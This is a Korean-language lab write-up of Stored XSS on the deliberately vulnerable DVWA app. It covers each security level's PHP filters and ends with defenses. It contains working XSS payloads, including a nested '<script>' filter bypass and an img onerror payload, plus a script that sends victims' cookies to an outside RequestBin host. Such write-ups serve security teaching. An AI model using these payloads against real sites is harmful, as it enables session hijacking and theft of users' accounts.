[DVWA] XSS (Stored)

Vulnerability:XSS (Stored)

XSS 취약점은 사용자의 입력 값을 HTML에서 출력하는 부분에서 발생한다. 본 실습에서는 앞에서 다룬 DVWA Reflected XSS 취약점(입력 값이 반사되어 출력되는 경우에 대한 XSS)와 달리 공격의 결과가 서버에 남기 때문에 훨씬 위험한 공격인 Stored XSS에 대하여 다룬다. 즉, 저장 가능한 XSS가 가능한지 여부를 확인한다.

DVWA XSS(Stored) 실습

실습 환경
- Windows Docker를 이용한 DVWA
- Windows 환경의 Burp Suite

해당 실습 페이지에 접속하면 다음과 같다.

Name과 Message를 입력할 수 있는 입력창이 존재하고, 입력창 아래의 예시를 보면 Name과 Message의 정보가 출력되고 있다는 것을 알 수 있다.

해당 입력창에 대하여 살펴보면 다음과 같다.

위의 HTML 코드를 살펴보면 Name(txtName)의 경우 작성 가능한 최대 길이(maxlength)가 10으로 설정되어 있고, Message(txtMessage)의 경우 작성 가능한 최대 길이(maxlength)가 50으로 설정되어 있는 것을 확인할 수 있다.

그런데 일반적으로 XSS의 경우 길이가 10~50 보다 많아질 가능성이 높다. 그러므로 Intercept를 통해 응답 변조를 하여 최대 길이를 늘려주어 더 많은 양을 입력 가능하도록 하여 진행한다.

위와 같이 최대 길이를 늘려주면, 각각의 제한이 100으로 바뀌어진 것을 확인할 수 있다.

 

Security Level: Low

< ' " > 확인하기

먼저 XSS 가능 여부를 확인하기 위해 < ' " > 를 입력해본다.

위와 같이 Name과 Message에 < ' " >를 입력하는 경우 다음과 같은 결과가 나온다.

Low 레벨의 경우 제대로된 조치가 취해지지 않아, 위와 같이 입력한 < ' " >가 그대로 출력되고 있는 것을 확인할 수 있다.

해당 코드를 살펴보면 다음과 같다.

// Sanitize message input
stripslashes( $message );

.위와 같이 stripslashes가 적용되어 있는데 이것은 역슬래시(＼)를 제거하는 함수로서, 의미가 없다고 볼 수 있다.

 

Script 삽입하기

<script>alert(document.cookie);</script>

위의 쿠키(cookie)값을 출력하는 script를 Name과 Message 입력에 넣어준다.

위와 같이 넣어준 결과는 다음과 같다.

위와 같이 알림창 2회,쿠키값이 포함되어 출력되는 것을 확인할 수 있다.

그 후 위와 같이 저장된 GeustBook의 값이 Name과 Message 모두 비어있는 것을 확인할 수 있다.

Low 레벨의 경우 Name과 Message 모두에 XSS가 가능한 것을 확인할 수 있는데 이를 Burp Suite로 확인해보면 다음과 같다.

위와 같이 스크립트가 2회 활성화되어 있는 것을 확인할 수 있다.

---

Security Level: Medium

< ' " > 확인하기

먼저 XSS 가능 여부를 확인하기 위해 < ' " > 를 입력해본다.

위와 같이 Name과 Message에 < ' " >를 입력하는 경우 다음과 같은 결과가 나온다.

Medium 레벨의 경우 Name에서는 < ' " >가 그대로 출력되지만 Message에서는 지워져있는 것을 확인할 수 있다.

해당 코드를 살펴보면 다음과 같다.

// Sanitize message input
$message = strip_tags( addslashes( $message ) );

// Sanitize name input
$name = str_replace( '<script>', '', $name );

위와 같이 Name에서는 <script>라는 문자열만 공백문자로 치환하고 있고, Message의 경우에는 strip_tags라는 함수를 이용하여 모든 <tag>를 삭제하고 있는 것을 확인할 수 있다. 그래서 < ' " >가 태그로 취급되어 삭제된 것이다. 그러므로 Medium 레벨의 경우 Message에 대해서는 XSS가 불가능하고, Name에 대해서만 XSS가 가능하다고 판단하고 진행한다.

 

Script 삽입하기

위의 코드에서 살펴봤듯이 <script>를 공백문자로 치환하고 있다. 하지만 위와 같이 특정 단어만을 치환하는 경우에는 해당 문자 사이에 필터링 되는 문자를 삽입하는 방식으로 우회가 가능하다.

<script>  -> <scr<script>ipt>

위와 같이 입력하는 경우 <script> 가 공백이 되면서 <scr 과 ipt> 가 붙게 되어 <script> 가 된다는 것이다.

그러므로 다음과 같이 입력하는 경우 우회가 가능하다.

<scr<script>ipt>alert(document.cookie);</script>

위와 같이 입력하는 경우 다음과 같이 script 태그가 활성화되어 알림창에 쿠키 값이 포함되어 출력되는 것을 확인할 수 있다.

그 후 입력된 Gusetbook을 확인해보면 다음과 같다.

위와 같이 Name 부분의 script 태그는 활성화 되어있고, Message 부분의 경우 script가 삭제되고 alert 부분만 남아있는 것을 확인할 수 있다.

---

Security Level: High

< ' " > 확인하기

먼저 XSS 가능 여부를 확인하기 위해 < ' " > 를 입력해본다.

위와 같이 Name과 Message에 < ' " >를 입력하는 경우 다음과 같은 결과가 나온다.

High 레벨의 경우 Name에서는 < ' " >가 그대로 출력되지만 Message에서는 지워져있는 것을 확인할 수 있다.

해당 코드를 살펴보면 다음과 같다.

// Sanitize message input
$message = strip_tags( addslashes( $message ) );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

위와 같이 Name에서는 PHP의 preg_replace() 함수를 이용하여 <*s*c*r*i*p*t 규칙에 해당하는 문자열을 대소문자 구분하지 않고 제거해버린다. 

즉, "<script", "<SCRIPT", "<SC\RIPT", "</script", "</SCRIPT", "</SC/**/RIPT" 등의 문자열로 시작하는 문자열을 제거한다는 것이다. 때문에 <script> 태그를 이용하는 방법은 불가능하다. 하지만 script를 삽입하는 방법이 <script> 태그만 있는 것이 아니라는 것을 생각해야 한다. 

(OWASP의 XSS 필터링 우회법(XSS Filter Evasion Cheat Sheet)을 살펴보면 너무나 많은 방법이 있다.)

Message의 경우에는 strip_tags라는 함수를 이용하여 모든 <tag>를 삭제하고 있는 것을 확인할 수 있다. 그래서 < ' " >가 태그로 취급되어 삭제된 것이다. 그러므로 Medium 레벨의 경우 Message에 대해서는 XSS가 불가능하다.

 

Script 삽입하기

여기서는 img 태그를 이용한 방법을 이용할 것이다.

<img src=x onerror=alert(document.cookie);>

위와 같이 입력하는 경우 결과는 다음과 같다.

위와 같이 스크립트가 활성화되어 알림창에 쿠키 값이 출력되는 것을 확인할 수 있다.

그 후 Guestbook을 확인해보면 다음과 같이 깨진 image를 확인할 수 있다.

이를 Burp Suite로 확인해보면 다음과 같다.

위와 같이 Name 부분의 스크립트가 활성화되어 있고, Message 부분의 경우는 입력값이 삭제된 것을 확인할 수 있다.

또한 위와 같이 src=x , 즉 img 를 불러오는 것을 실패했다는 것을 확인할 수 있다.

---

Security Level: Impossible

< ' " > 확인하기

먼저 XSS 가능 여부를 확인하기 위해 < ' " > 를 입력해본다.

위와 같이 Name과 Message에 < ' " >를 입력하는 경우 다음과 같은 결과가 나온다.

Impossible 레벨의 경우 Name과 Message 모두 HTML Entity로 변환되는 것을 확인할 수 있다.

해당 코드를 살펴보면 다음과 같다.

// Sanitize message input
$message = stripslashes( $message );
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = htmlspecialchars( $name );

위와 같이 htmlspecialchars를 이용하여 입력 값을  HTML Entity로 변환한다. 즉, Impossible 레벨의 경우 XSS가 불가능하다는 것을 확인할 수 있다.

---

Sanitize - PHP 함수

PHP에서 문자열을 표시할 때, "(큰 따옴표)와 '(작은 따옴표)가 문자열에 포함되어 있는 경우 오류가 발생하는 경우가 있다. DB에서 값을 가져올 때, 또는 넣을 때 이러한 오류를 방지하고자 addslashes와 stripslashes를 사용한다. 사용시, 이스케이프 처리되며 오류없이 실행할 수 있다.

addslashes

addslashes는 PHP에서 역슬래시(＼)를 추가하는 함수이다.
(특정 문자열 single quote ('), double quote ("), backslash (\), NUL (the NUL byte)등을 (＼ '), (＼ "), (＼ ＼) , (＼ )로 교체한다.)

addslashes(string $string): string

stripslashes

stripslashes는 PHP에서 역슬래시(＼)를 제거하는 함수이다.
(인용된 문자열을 인용 해제한다.)

stripslashes ( string $string ) : string

이스케이프(escape)가 필요한 장소 (예 : 데이터베이스)에 데이터를 삽입하지 않는 경우, stripslashes()를 사용할 수 있다.
ex) HTML 양식에서 직접 데이터를 출력하는 경우

역슬래시(＼)가 제거 된 문자열을 반환한다. ('＼'는 '가 된다.) 이중 역슬래시 (＼＼＼＼)는 단일 역슬래시 (＼＼)로 바뀐다.

stripslashes()는 재귀적이지 않으므로, 이 함수를 다차원 배열에 적용하려면 재귀 함수를 사용한다.

strip_tags

strip_tags는 문자열에서 HTML 태그와 PHP 태그를 제거하는 함수이다.

strip_tags ( string $str [, string $allowable_tags ] )

allowable_tags로 제거하지 않을 태그를 정할 수 있다. (예외 처리)

htmlspecialchars

특수 문자를 HTML Entity로 변환한다.

---

공격 시나리오

위의 취약점을 이용한 공격 시나리오를 테스트 해볼 것이다. (Low 레벨에서 진행하였다.)

공격자의 주소는 RequestBin을 이용할 것이다. 공격자의 주소로 쿠키 값을 보내도록하는 script는 다음과 같다.

<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://en1ea7nmmqf85.x.pipedream.net/?cookie="+cookieData;
</script>

위와 같이 입력하는 경우 결과는 다음과 같다.

위와 같이 Message 부분이 스크립트가 활성화되어 웹상에는 아무런 메시지가 입력되지 않은 것처럼 보인다. 하지만 이것을 Burp Suite를 이용하여 확인해보면 다음과 같이 스크립트 태그가 활성화되어 있는 것을 확인할 수 있다.

그 후 다음과 같이 쿠키 값을 공격자 서버로 보내고 있는 것을 알 수 있다.

그리고 RequestBin을 확인해보면 다음과 같이 쿠키 값이 전달되어 온 것을 확인할 수 있다.

위와 같이 Stored XSS를 이용하면 공격자가 해당 글에 접근한 이용자의 세션정보를 탈취할 수 있고, 공격자는 이를 이용하여 해당 웹 애플리케이션에 접속하여 이용자의 정보를 탈취하는 것이 가능해진다.

---

XSS 대응

크로스사이트 스크립트 공격(XSS, Cross-site Scripting)은 서버가 입력 값을 제대로 검증하는 않는 경우에 발생하게 된다. 특히 Stored XSS의 경우 불특정 다수를 대상으로 지속적인 공격이 가능하다. 또한 특정 소수의 대상에 대한 표적 공격 또한 가능한 등, Reflected XSS에 비해서 다양한 방법의 공격 시나리오가 가능하기 때문에 매우 위험하다.

HTML Entity를 적용하면 거의 모든 공격을 막는 것이 가능하다.

PHP의 경우 HTML에서 출력되는 모든 입력에 대해서 htmlspecialchars() 함수나 htmlentities() 함수를 적용하여 입력되는 특수문자들에 대하여 HTML Entity를 적용하여 거의 모든 공격을 차단할 수 있다.

---

질문 환영, 수정 및 보완에 대한 지적 환영